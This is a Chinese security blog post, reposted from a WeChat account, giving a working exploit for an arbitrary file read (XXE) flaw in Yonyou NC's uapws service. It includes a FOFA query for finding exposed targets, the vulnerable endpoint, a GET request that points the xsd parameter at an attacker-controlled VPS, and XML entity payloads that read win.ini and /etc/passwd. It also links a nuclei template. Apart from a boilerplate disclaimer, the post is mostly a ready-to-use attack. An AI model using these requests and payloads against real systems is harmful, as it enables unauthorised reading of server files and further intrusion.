用友 NC uapws wsdl 任意文件读取

admin 2023年12月14日23:58:55评论42 views字数 998阅读3分19秒阅读模式
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习交流使用,如若非法他用,与平台和本文作者无关,需自行负责!

00

漏洞概述

用友 NC uapws wsdl 存在任意文件读取漏洞。

01

空间搜索语法

fofa

 

app="用友-UFIDA-NC"

02

利用过程

登录界面

用友 NC uapws wsdl 任意文件读取

漏洞存在位置

http://x.x.x.x/uapws/service/nc.uap.oba.update.IUpdateService?wsdl

 

用友 NC uapws wsdl 任意文件读取

修改xsd参数值可触发该漏洞,请求远程VPS服务器。

GET /uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://x.x.x.x/test.xml HTTP/1.1Host: Pragma: no-cacheCache-Control: no-cacheAccept: text/plain, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

存在漏洞响应如下

用友 NC uapws wsdl 任意文件读取

用友 NC uapws wsdl 任意文件读取

任意文件读取利用,需要VPS上建立对应操作系统的xml文件,然后开启http服务。xml文件如下

windows:<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]><user><username>&name;</username><password>1</password></user>
linux:evil.xml:<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]><user><username>&name;</username><password>1</password></user>

触发文件读取漏洞响应如下

用友 NC uapws wsdl 任意文件读取

用友 NC uapws wsdl 任意文件读取

03

nuclei

用友 NC uapws wsdl 任意文件读取

NCuapws1下载地址:
链接:https://pan.baidu.com/s/1oUd3H7yOdYCXLUCfuzA0DA
提取码:bgl0

 

原文始发于微信公众号(天澜实验室):用友 NC uapws wsdl 任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日23:58:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友 NC uapws wsdl 任意文件读取https://cn-sec.com/archives/2300935.html

发表评论

匿名网友 填写信息